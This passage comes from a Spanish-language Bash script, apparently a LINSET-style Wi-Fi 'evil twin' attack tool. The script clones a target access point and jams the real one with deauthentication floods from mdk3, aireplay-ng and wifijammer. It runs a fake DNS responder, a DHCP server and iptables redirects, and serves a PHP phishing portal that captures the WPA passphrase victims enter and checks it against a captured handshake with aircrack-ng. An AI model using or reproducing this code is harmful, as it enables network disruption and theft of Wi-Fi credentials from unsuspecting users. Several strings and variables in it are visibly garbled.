   echo $detectedresolution
   echo
   
   
   # Si solo hay 1 tarjeta wireless
   if [ "$INTERFACESNUMBER" -gt "0" ]; then
      
      echo "Selecciona una interface:"
      echo
      i=0
      
      for line in "${wirelessifaces
  • }"; do

         i=$(($i+1))
         wirelessifaces[$i]=$line
         echo -e "$verde""$i)"$rescolor" $line"
      done
      
      echo -n "#? "
      read line
      PREWIFI=${wirelessifaces[$line]}
      
      if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then
         conditional_clear
         mostrarheader
         setinterface
      fi
      
      readarray -t softwaremolesto < <(airmon-ng check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }')
      WIFIDRIVER=$(airmon-ng | grep "$PREWIFI" | awk '{print($(NF-2))}')
      rmmod -f "$WIFIDRIVER" &>$linset_output_device 2>&1
      
      for molesto in "${softwaremolesto
  • }"; do

         killall "$molesto" &>$linset_output_device
      done
      sleep 0.5
      
      modprobe "$WIFIDRIVER" &>$linset_output_device 2>&1
      sleep 0.5
      # Selecciona una interface
      select PREWIFI in $INTERFACES; do
         break;
      done
      
      WIFIMONITOR=$(airmon-ng start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1)
      WIFI_MONITOR=$WIFIMONITOR
      # Establece una variable para la interface fisica
        WIFI=$PREWIFI
      # Cerrar si no detecta nada
   else
      
      echo No se han encontrado tarjetas Wireless. Cerrando...
      sleep 5
      exitmode
   fi
   
   pentest-2016
   
}

# Intermediario que comprueba validez de la eleccion y prepara el entorno
function pentest-2016 {
   
   conditional_clear
   CSVDB=dump-01.csv
   
   rm -rf $DUMP_PATH/*
   
   choosescan
   selection
}

# Elige si quieres escanear todos los canales o uno especifico
function choosescan {
   
   conditional_clear
   
   while true; do
      conditional_clear
      mostrarheader
      
      echo "SELECCIONA CANAL"
      echo "                                       "
      echo -e "      "$verde"1)"$rescolor" Todos los canales             "
      echo -e "      "$verde"2)"$rescolor" Canal(es) específico(s)       "
      echo "                                       "
      echo -n "      #> "
      read yn
      echo ""
      case $yn in
         1 ) Scan ; break ;;
         2 ) Scanchan ; break ;;  
         * ) echo "Opción desconocida. Elige de nuevo"; conditional_clear ;;
        esac
   done
}

# Elige que canal/es escanear si elegiste esa opcion
function Scanchan {
     
   conditional_clear
   mostrarheader
   
     echo "                                       "
     echo "      Selecciona Canal de busqueda     "
     echo "                                       "
     echo -e "     Un solo canal     "$verde"6"$rescolor"               "
     echo -e "     rango de canales  "$verde"1-5"$rescolor"             "
     echo -e "     Multiples canales "$verde"1,2,5-7,11"$rescolor"      "
     echo "                                       "
   echo -n "      #> "
   read channel_number
   set -- ${channel_number}
   conditional_clear
   
   rm -rf $DUMP_PATH/dump*
   xterm $HOLD -title "Escaneando Objetivos en el canal -->  $channel_number" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR
}

# Escanea toda la red
function Scan {
   
   conditional_clear
   xterm $HOLD -title "Escaneando Objetivos ..." $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng -w $DUMP_PATH/dump -a $WIFI_MONITOR
}

# Elige una red de todas las escaneadas
function selection {
   
   conditional_clear
   mostrarheader
   
   
   LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'`
   
   if [ $LINEAS_WIFIS_CSV -le 3 ]; then
      vk496 && break
   fi
   
   linap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'`
   linap=`expr $linap - 1`
   head -n $linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv
   tail -n +$linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv
   echo "                         Listado de APs Objetivo "
   echo ""
   echo " #      MAC                      CHAN    SECU     PWR    ESSID"
   echo ""
   i=0
   
   while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do
      longueur=${#MAC}
      PRIVACY=$(echo $PRIVACY| tr -d "^ ")
      PRIVACY=${PRIVACY:0:4}
      if [ $longueur -ge 17 ]; then
         i=$(($i+1))
         POWER=`expr $POWER + 100`
         CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC`
         
         if [ "$CLIENTE" != "" ]; then
            CLIENTE="*"
         fi
         
         echo -e " ""$verde"$i")"$blanco"$CLIENTE\t""$amarillo"$MAC"\t""$verde"$CHANNEL"\t""$rojo" $PRIVACY"\t  ""$amarillo"$POWER%"\t""$verde"$ESSID""$rescolor""
         aidlenght=$IDLENGTH
         assid[$i]=$ESSID
         achannel[$i]=$CHANNEL
         amac[$i]=$MAC
         aprivacy[$i]=$PRIVACY
         aspeed[$i]=$SPEED
      fi
   done < $DUMP_PATH/dump-02.csv
   echo
   echo -e ""$verde"("$blanco"*"$verde") Red con Clientes"$rescolor""
   echo ""
   echo "        Selecciona Objetivo               "
   echo -n "      #> "
   read choice
   idlenght=${aidlenght[$choice]}
   ssid=${assid[$choice]}
   channel=$(echo ${achannel[$choice]}|tr -d [:space:])
   mac=${amac[$choice]}
   privacy=${aprivacy[$choice]}
   speed=${aspeed[$choice]}
   Host_IDL=$idlength
   Host_SPEED=$speed
   Host_ENC=$privacy
   Host_MAC=$mac
   Host_CHAN=$channel
   acouper=${#ssid}
   fin=$(($acouper-idlength))
   Host_SSID=${ssid:1:fin}
   
   conditional_clear
   
   askAP
}

# Elige el modo del FakeAP
function askAP {
      
   DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m`
   
   if [ $DIGITOS_WIFIS_CSV -le 15 ]; then
      selection && break
   fi
   
   if [ "$(echo $WIFIDRIVER | grep -i 8187)" ]; then
      fakeapmode="airbase-ng"
      askauth
   fi
   
   mostrarheader
   while true; do
      
      infoap
      
      echo "MODO DE FakeAP"
      echo "                                       "
      echo -e "      "$verde"1)"$rescolor" SATURNO"
      echo -e "      "$verde"2)"$rescolor" Atras"
      echo "                                       "
      echo -n "      #> "
      read yn
      echo ""
      case $yn in
         1 ) fakeapmode="saturno"; askauth; break ;;
         2 ) selection; break ;;
         * ) echo "Opción desconocida. Elige de nuevo"; conditional_clear ;;
      esac
   done
   
}

# Metodo de comprobacion de PASS si elegiste airbase-ng
function askauth {
   
   conditional_clear
   
   mostrarheader
   while true; do
      
      echo "METODO DE VERIFICACIÓN DE PASS"
      echo "                                       "
      echo -e "      "$verde"1)"$rescolor" sin Handshake"
      echo -e "      "$verde"2)"$rescolor" Atras"
      echo "                                       "
      echo -n "      #> "
      read yn
      echo ""
      case $yn in
         1 ) authmode="handshake"; certssl; break ;;
         2 ) askAP; break ;;
         * ) echo "Opción desconocida. Elige de nuevo"; conditional_clear ;;
      esac
   done
   
}

function handshakelocation {
   
   conditional_clear
   
   mostrarheader
   infoap
   if [ "$handshakeloc" = "" ]; then
         deauthforce
      else
         if [ -f "$handshakeloc" ]; then
            Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2)
            Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')
            if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then
               if pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then
                  cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap
                  webinterface
               else
               echo "Bad handshake"
               sleep 4
               handshakelocation
               fi
            else
               echo -e "${rojo}Error$rescolor!"
               echo
               echo -e "File ${rojo}MAC$rescolor"
               
               readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#")
                  for i in "${lista_loc
  • }"; do

                     echo -e "$verde$(echo $i | cut -d " " -f1) $amarillo$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$rescolor ($verde$(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$rescolor)"
                  done
               
               echo -e "Host ${verde}MAC$rescolor"
               echo -e "$verde#1: $amarillo$Host_MAC$rescolor ($verde$Host_SSID$rescolor)"
               sleep 7
               handshakelocation
            fi
         else
            echo -e "Archivo ${rojo}NO$rescolor existe"
            sleep 4
            handshakelocation
         fi
      fi
}

function deauthforce {
   
   conditional_clear
   
   mostrarheader
   while true; do
      
      echo "TIPO DE COMPROBACION DEL HANDSHAKE"
      echo "                                       "
      echo -e "      "$verde"1)"$rescolor" Estricto"
      echo -e "      "$verde"2)"$rescolor" Atras"
      echo "                                       "
      echo -n "      #> "
      read yn
      echo ""
      case $yn in
         1 ) handshakemode="hard"; askclientsel; break ;;
         2 ) askauth; break ;;
         * ) echo "Opción desconocida. Elige de nuevo"; conditional_clear ;;
      esac
   done
}

############################################### < MENU > ###############################################



############################################# < CERTIFICADO SSL (Indispensable para el soporte ssl (https) ) > ############################################
function certssl
{
#Verifica que exista el certificado ssl autofirmado y que sea correcto

   if [ -f $DUMP_PATH/server.pem  ]
   then
      if [ -s $DUMP_PATH/server.pem ]; then
      webinterface
           break
      else
      echo -e " $azul Se crea Certificado" "$rescolor"
      echo
      echo
      echo -e "      "$verde"1)"${azul}" Crear Certificado ssl""$rescolor"
      echo -e "      "$verde"2)"${azul}" Buscar de nuevo el Certificado ssl""$rescolor"
      echo -e "      "$verde"3)"${azul}" Salir" "$rescolor"
      echo " "
      echo -n '      #> '
      read yn
      case $yn in
         1 ) creassl;;
         2 ) certssl;break;;
         3 ) exitmode; break;;
         * ) certssl ;;
      esac
      fi
   else
      while true; do
      echo -e " $azul Verifica y Crea""$rescolor"
      echo
      echo
      echo -e "      "$verde"1)"${azyl}" Crear Certificado ssl""$rescolor"
      echo -e "      "$verde"2)"${azul}" Buscar de nuevo el Certificado ssl""$rescolor"
      echo -e "      "$verde"3)"${azul}" Salir""$rescolor"
      echo " "
      echo -n '      #> '
      read yn
      case $yn in
         1 ) creassl;;
         2 ) certssl;break;;
         3 ) exitmode; break;;
         * )certssl ;;
      esac
      
   done
      
   fi
   

}
#Crea el Certificado ssl Autofirmado
function creassl
{

      
      xterm -title "Creando Certificado ssl Autofirmado" -e openssl req -subj '/CN=SEGURO/O=SEGURA/OU=SEGURA/C=US' -new -newkey rsa:2048 -days 365 -nodes -x509 -keyout $DUMP_PATH/server.pem -out $DUMP_PATH/server.pem
      certssl
}

############################################# < CERTIFICADO SSL (Indispensable para el soporte ssl (https) ) > ############################################



############################################# < ATAQUE > ############################################

############################################# < ATAQUE > ############################################

# Selecciona interfaz web que se va a usar
function webinterface {
#Establece Permisos al Certificado SSL Autofirmado
   chmod 400 $DUMP_PATH/server.pem
   
   while true; do
      conditional_clear
      mostrarheader
      
      infoap
      echo
      echo "SELECCIONA LA INTERFACE WEB"
      echo
      
      echo -e "$verde""1)"$rescolor" Interface web neutra"
      echo -e "$verde""2)"$rescolor" \e[1;31mSalir"$rescolor""
      
      echo
      echo -n "#? "
      read line
      
      if [ "$line" = "2" ]; then
         exitmode
      elif [ "$line" = "1" ]; then
         conditional_clear
         mostrarheader
         
         infoap
         echo
         echo "SELECCIONA IDIOMA"
         echo
         
         echo -e "$verde""1)"$rescolor" English     [ENG]"
         echo -e "$verde""2)"$rescolor" Spanish     [ESP]"
         echo -e "$verde""6)"$rescolor" \e[1;31mAtrás"$rescolor""
         
         echo
         echo -n "#? "
         read linea
         language=${webinterfaceslenguage[$line]}
         
         if [ "$linea" = "1" ]; then
            DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG
            DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG
            DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG
            DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG
            DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG
            DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG
            DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ENG
            DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ENG
            NEUTRA
            break
         elif [ "$linea" = "2" ]; then
            DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP
            DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP
            DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP
            DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP
            DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP
            DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP
            DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ESP
            DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ESP
            NEUTRA
            break
         fi
      fi
   
   done
   preattack
   attack
}


# Crea distintas configuraciones necesarias para el script y prerapa los servicios
function preattack {
   
# Genera el config de hostapd
echo "interface=$WIFI
driver=nl80211
ssid=$Host_SSID
channel=$Host_CHAN
">$DUMP_PATH/hostapd.conf

# Crea el php que usan las ifaces
echo "<?php
error_reporting(0);

\$count_my_page = (\"$DUMP_PATH/hit.txt\");
\$hits = file(\$count_my_page);
\$hits[0] ++;
\$fp = fopen(\$count_my_page , \"w\");
fputs(\$fp , \"\$hits[0]\");
fclose(\$fp);

// Receive form Post data and Saving it in variables

\$key1 = @\$_POST['key1'];

// Write the name of text file where data will be store
\$filename = \"$DUMP_PATH/data.txt\";
\$filename2 = \"$DUMP_PATH/status.txt\";
\$intento = \"$DUMP_PATH/intento\";


// Marge all the variables with text in a single variable.
\$f_data= ''.\$key1.'';


if ( (strlen(\$key1) < 10) ) {
echo \"<script type=\\\"text/javascript\\\">alert(\\\"$DIALOG_WEB_LENGHT_MIN\\\");window.history.back()</script>\";
break;
}

if ( (strlen(\$key1) > 63) ) {
echo \"<script type=\\\"text/javascript\\\">alert(\\\"$DIALOG_WEB_LENGHT_MAX\\\");window.history.back()</script>\";
break;
}


\$file = fopen(\$filename, \"w\");
fwrite(\$file,\"\$f_data\");
fwrite(\$file,\"\n\");
fclose(\$file);


\$archivo = fopen(\$intento, \"w\");
fwrite(\$archivo,\"\n\");
fclose(\$archivo);

while(1)
{

if (file_get_contents(\"\$intento\") == 2) {
       header(\"location:final.html\");
       break;
   }
if (file_get_contents(\"\$intento\") == 1) {
       header(\"location:error.html\");
       unlink(\$intento);
       break;
   }
   
sleep(1);
}

?>" > $DUMP_PATH/data/savekey.php

# Se crea el config del servidor DHCP
echo "authoritative;

default-lease-time 600;
max-lease-time 7200;

subnet $RANG_IP.0 netmask 255.255.255.0 {

option broadcast-address $RANG_IP.255;
option routers $IP;
option subnet-mask 255.255.255.0;
option domain-name-servers $IP;

range $RANG_IP.100 $RANG_IP.250;

}
" >$DUMP_PATH/dhcpd.conf

# Se crea el config del servidor web Lighttpd
echo "server.document-root = \"$DUMP_PATH/\"

server.modules = (
  \"mod_access\",
  \"mod_alias\",
  \"mod_accesslog\",
  \"mod_fastcgi\",
  \"mod_redirect\",
  \"mod_rewrite\"
)

fastcgi.server = ( \".php\" => ((
        \"bin-path\" => \"/usr/bin/php-cgi\",
        \"socket\" => \"/php.socket\"
      )))

server.port = 80
server.pid-file = \"/var/run/lighttpd.pid\"
# server.username = \"www\"
# server.groupname = \"www\"

mimetype.assign = (
\".html\" => \"text/html\",
\".htm\" => \"text/html\",
\".txt\" => \"text/plain\",
\".jpg\" => \"image/jpeg\",
\".png\" => \"image/png\",
\".css\" => \"text/css\"
)


server.error-handler-404 = \"/\"

index-file.names = ( \"index.htm\" )
\$SERVER[\"socket\"] == \":443\" {
   url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" )
   ssl.engine                  = \"enable\"
   ssl.pemfile                 = \"$DUMP_PATH/server.pem\"
   }
   
#Redirect www.domain.com to domain.com
\$HTTP[\"host\"] =~ \"^www\.(.*)$\" {
url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" )
}

" >$DUMP_PATH/lighttpd.conf

# Script (no es mio) que redirige todas las peticiones del DNS a la puerta de enlace (nuestro PC)
echo "import socket

class DNSQuery:
  def __init__(self, data):
    self.data=data
    self.dominio=''

    tipo = (ord(data[2]) >> 3) & 15   # 4bits de tipo de consulta
    if tipo == 0:                     # Standard query
      ini=12
      lon=ord(data[ini])
      while lon != 0:
   self.dominio+=data[ini+1:ini+lon+1]+'.'
   ini+=lon+1
   lon=ord(data[ini])

  def respuesta(self, ip):
    packet=''
    if self.dominio:
      packet+=self.data[:2] + \"\x81\x80\"
      packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00'   # Numero preg y respuestas
      packet+=self.data[12:]                                         # Nombre de dominio original
      packet+='\xc0\x0c'                                             # Puntero al nombre de dominio
      packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04'             # Tipo respuesta, ttl, etc
      packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) # La ip en hex
    return packet

if __name__ == '__main__':
  ip='$IP'
  print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip

  udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  udps.bind(('',53))
  
  try:
    while 1:
      data, addr = udps.recvfrom(1024)
      p=DNSQuery(data)
      udps.sendto(p.respuesta(ip), addr)
      print 'Respuesta: %s -> %s' % (p.dominio, ip)
  except KeyboardInterrupt:
    print 'Finalizando'
    udps.close()
" >$DUMP_PATH/fakedns
chmod +x $DUMP_PATH/fakedns
   
}

# Prepara las tablas de enrutamiento para establecer un servidor DHCP/WEB
function routear {
   
   ifconfig $interfaceroutear up
   ifconfig $interfaceroutear $IP netmask 255.255.255.0
   
   route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP
   echo "1" > /proc/sys/net/ipv4/ip_forward
   
   iptables --flush
   iptables --table nat --flush
   iptables --delete-chain
   iptables --table nat --delete-chain
   iptables -P FORWARD ACCEPT
   
   iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80
   iptables -t nat -A POSTROUTING -j MASQUERADE
}

# Ejecuta el ataque
function attack {
   
   if [ "$fakeapmode" = "hostapd" ]; then
      interfaceroutear=$WIFI
   elif [ "$fakeapmode" = "saturno" ]; then
      interfaceroutear=$WIFI
   elif [ "$fakeapmode" = "airbase-ng" ]; then
      interfaceroutear=at0
   fi
   
   handshakecheck
   nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1)
   
   if [ "$fakeapmode" = "hostapd" ]; then
      
      ifconfig $WIFI down
      sleep 0.2
      macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $linset_output_device
      sleep 0.2
      ifconfig $WIFI up
      sleep 0.2
   fi
   
   
   if [ $fakeapmode = "hostapd" ]; then
      killall hostapd &> $linset_output_device
      xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf &
   elif [ $fakeapmode = "saturno" ]; then
      killall saturno &> $linset_output_device
      xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf &
      xterm -e "wifijammer.py -a ${mac::13}$nomac${mac:14:4} -c $Host_CHAN -d -i mon0 -m 5 -n -p 7 -s ${mac::13}$nomac${mac:14:4} -t .00001"&
   sleep 4
   fi
   routear &
   sleep 3
   
   
   killall dhcpd &> $linset_output_device
   xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -cf "$DUMP_PATH/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt" &
   killall $(netstat -lnptu | grep ":53" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $linset_output_device
   xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e python $DUMP_PATH/fakedns &
   
   killall $(netstat -lnptu | grep ":80" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $linset_output_device
   lighttpd -f $DUMP_PATH/lighttpd.conf &> $linset_output_device
   
   killall aireplay-ng &> $linset_output_device
   killall mdk3 &> $linset_output_device
   echo "$(cat $DUMP_PATH/dump-02.csv | cut -d "," -f1,14 | grep "$Host_SSID" | cut -d "," -f1)" >$DUMP_PATH/mdk3.txt
   xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautentificando con mdk3 a todos de $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN &
   
   xterm -hold $TOPRIGHT -title "Esperando la pass" -e $DUMP_PATH/handcheck &
   conditional_clear
   
   while true; do
      mostrarheader
      
      echo "Ataque en curso..."
      echo "                                       "
      echo "      1) Elegir otra red"
      echo "      2) Salir"
      echo " "
      echo -n '      #> '
      read yn
      case $yn in
         1 ) matartodo; CSVDB=dump-01.csv; selection; break;;
         2 ) matartodo; exitmode; break;;
         * ) echo "Opción desconocida. Elige de nuevo"; conditional_clear ;;
      esac
   done
   
}

# Comprueba la validez de la contraseña
function handshakecheck {
   
   echo "#!/bin/bash
   
   echo > $DUMP_PATH/data.txt
   echo -n \"0\"> $DUMP_PATH/hit.txt
   echo "" >$DUMP_PATH/loggg
   
   tput civis
   clear
   
   minutos=0
   horas=0
   i=0
     
   while true; do
   
   segundos=\$i
   dias=\`expr \$segundos / 86400\`
   segundos=\`expr \$segundos % 86400\`
   horas=\`expr \$segundos / 3600\`
   segundos=\`expr \$segundos % 3600\`
   minutos=\`expr \$segundos / 60\`
   segundos=\`expr \$segundos % 60\`
   
   if [ \"\$segundos\" -le 9 ]; then
   is=\"0\"
   else
   is=
   fi
   
   if [ \"\$minutos\" -le 9 ]; then
   im=\"0\"
   else
   im=
   fi
   
   if [ \"\$horas\" -le 9 ]; then
   ih=\"0\"
   else
   ih=
   fi">>$DUMP_PATH/handcheck

   if [ $authmode = "handshake" ]; then
      echo "if [ -f $DUMP_PATH/intento ]; then
      
      if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase not in\"; then
      echo \"2\">$DUMP_PATH/intento
      break
      else
      echo \"1\">$DUMP_PATH/intento
      fi
      
      fi">>$DUMP_PATH/handcheck
      
   elif [ $authmode = "wpa_supplicant" ]; then
        echo "
      wpa_passphrase $Host_SSID \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf &
      wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg &
      
      if [ -f $DUMP_PATH/intento ]; then
      
      if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then
      echo \"2\">$DUMP_PATH/intento
      break
      else
      echo \"1\">$DUMP_PATH/intento
      fi
      
      fi
      ">>$DUMP_PATH/handcheck
   fi
   
   echo "readarray -t CLIENTESDHCP < <(cat $DUMP_PATH/clientes.txt | grep \"DHCPACK on\"| awk '!x[\$0]++' )
   
   echo
   echo -e \"  PUNTO DE ACCESO:\"
   echo -e \"    Nombre..........: "$blanco"$Host_SSID"$rescolor"\"
   echo -e \"    MAC.............: "$amarillo"$Host_MAC"$rescolor"\"
   echo -e \"    Canal...........: "$blanco"$Host_CHAN"$rescolor"\"
   echo -e \"    Fabricante......: "$verde"$Host_MAC_MODEL"$rescolor"\"
   echo -e \"    Tiempo activo...: "$gris"\$ih\$horas:\$im\$minutos:\$is\$segundos"$rescolor"\"
   echo -e \"    Intentos........: "$rojo"\$(cat $DUMP_PATH/hit.txt)"$rescolor"\"
   echo -e \"    Clientes........: "$azul"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | awk '!x[\$0]++' | wc -l)"$rescolor"\"
   echo
   echo -e \"  CLIENTES:\"
   
   x=0
   for line in \"\${CLIENTESDHCP
  • }\"; do

     x=\$((\$x+1))
     echo -e \"    "$verde"\$x) "$rojo"\$(echo \$line| cut -d \" \" -f 3) "$amarillo"\$(echo \$line| cut -d \" \" -f 5) "$verde"\$(echo \$line| cut -d \" \" -f 6)"$rescolor"\"  
   done
   
   echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck
   
   
   if [ $authmode = "handshake" ]; then
      echo "let i=\$i+1
      sleep 1">>$DUMP_PATH/handcheck
      
   elif [ $authmode = "wpa_supplicant" ]; then
      echo "sleep 5
      
      killall wpa_supplicant &>$linset_output_device
      killall wpa_passphrase &>$linset_output_device
      let i=\$i+5">>$DUMP_PATH/handcheck
   fi
   
   echo "done
   clear
   echo \"1\" > $DUMP_PATH/status.txt
   
   sleep 7
   
   killall mdk3 &>$linset_output_device
   killall aireplay-ng &>$linset_output_device
   killall airbase-ng &>$linset_output_device
   kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$linset_output_device
   killall hostapd &>$linset_output_device
   killall saturno &>$linset_output_device
   killall lighttpd &>$linset_output_device
   killall dhcpd &>$linset_output_device
   killall wpa_supplicant &>$linset_output_device
   killall wpa_passphrase &>$linset_output_device
   
   echo \"
   LINSET $version por Pentest-2016
   
   SSID: $Host_SSID
   BSSID: $Host_MAC ($Host_MAC_MODEL)
   Channel: $Host_CHAN
   Security: $Host_ENC
   Time: \$ih\$horas:\$im\$minutos:\$is\$segundos
   clave wep wpa wpa2 o wps pin: \$(cat $DUMP_PATH/data.txt)
   \" >$HOME/$Host_SSID-clave wep wpa wpa2 o wps pin.txt">>$DUMP_PATH/handcheck
   
   
   if [ $authmode = "handshake" ]; then
      echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_clave wep wpa wpa2 o wps pin.txt -w $DUMP_PATH/data.txt && echo && echo -e \"Se ha guardado en "$rojo"$HOME/$Host_SSID-password.txt"$rescolor"\"
      ">>$DUMP_PATH/handcheck
      
   elif [ $authmode = "wpa_supplicant" ]; then
      echo "echo -e \"Se ha guardado en "$rojo"$HOME/$Host_SSID-password.txt"$rescolor"\"">>$DUMP_PATH/handcheck
   fi
   
   echo "kill -INT \$(ps a | grep bash| grep linset | awk '{print \$1}') &>$linset_output_device">>$DUMP_PATH/handcheck
   chmod +x $DUMP_PATH/handcheck
}


############################################# < ATAQUE > ############################################






############################################## < COSAS > ############################################

# Deauth a todos
function deauthall {
   
   xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a todos de $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR &
}

function deauthmdk3 {
   
   echo "$Host_MAC" >$DUMP_PATH/mdk3.txt
   xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando mdk3 a todos de $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN &
   mdk3PID=$!
   sleep 15
   kill $mdk3PID &>$linset_output_device
}

# Deauth a un cliente específico
function deauthesp {
   
   sleep 2
   xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR &
}

# Cierra todos los procesos
function matartodo {
   
   killall aireplay-ng &>$linset_output_device
   kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$linset_output_device
   killall hostapd &>$linset_output_device
   killall saturno &>$linset_output_device
   killall lighttpd &>$linset_output_device
   killall dhcpd &>$linset_output_device
   killall xterm &>$linset_output_device
   
}



############################################## < COSAS > ############################################





######################################### < INTERFACES WEB > ########################################

# Crea el contenido de la interface web
function NEUTRA {
   
   if [ ! -d $DUMP_PATH/data ]; then
      mkdir $DUMP_PATH/data
   fi
   
echo "UEsDBBQAAAAIAEZ8zkSJ9HAPjoIAAMRtAQATABwAanF1ZXJ5LTEuOC4zLm1pbi5qc1VUCQADVE+c
U1RPnFN1eAsAAQQAAAAABAAAAACcfWl720aW7vf7K0RMRg2YRUrM0tMDCuZ4vXbfeOnYnaSHYvJA
ZFGCDQEMFi0h+d/nvKcWFEDIyZ08joil1lOnzl4HJ48GR5/+Ucvi/uhmMv7b+JujT7/hbrzMr492
5iYvLk/SZCmzUh49Ovk//rrOllWSZ74UVbA1d0e/+jLY3sTFURW9mctFtN1PC1nVRXZ0M5bx8sqX
43KTJpV/HwiniSzYVvNsEQ1O94Go9ra5V3gnimCbrP0iiqLq+FiOs3wlP95vJN1PVGdJ5K3iKh55
w2xcyE0aL6X/XnijryZeMK7y7/NbWTyLS+kH0yKS40tZPamqIrmoK+knwZQar6i9fH1EfXglvcku
PRpRcb8tInTrVUUtvdngNOS7dZyWuJ2o26xOU2+Gv+GwGHoePStmwyJ8Pq5kWflFMLsZb+KilH//
8O4t3YbFfhlXBIsy2O5vxhi5nuZeUsM0iGqvgVY0oHhqITtd54VfHSXZkWTAVBgEWvGOj2/GSfni
elPdv7v4JJeVL+fVIgiWeVYlWS15pgPMJ8dYvEB1M5jo/gj8tj9Z+cHWvrePK+exU7quMDz9XO52
A4kpy6x6S4u127l3rfVzWo4rhUur/EhGGPf09ipJpS/dNR9gzQ1KyabymiszHkXVbneKmQIWLw2O
VUFgEfGScISKO/hXGDwaDKrxMk5TPBPS9pTQWLO9whQ7lj9o0AwSaOtUV4hWuYiGrouop5mmkRbQ
VEtJpfDLndk6SStJyEGDH2TBtIrcR8H+Tw2YwJY9KYr4npfjcXSqBt/AOq2aTb6s9H72dl4gMtpc
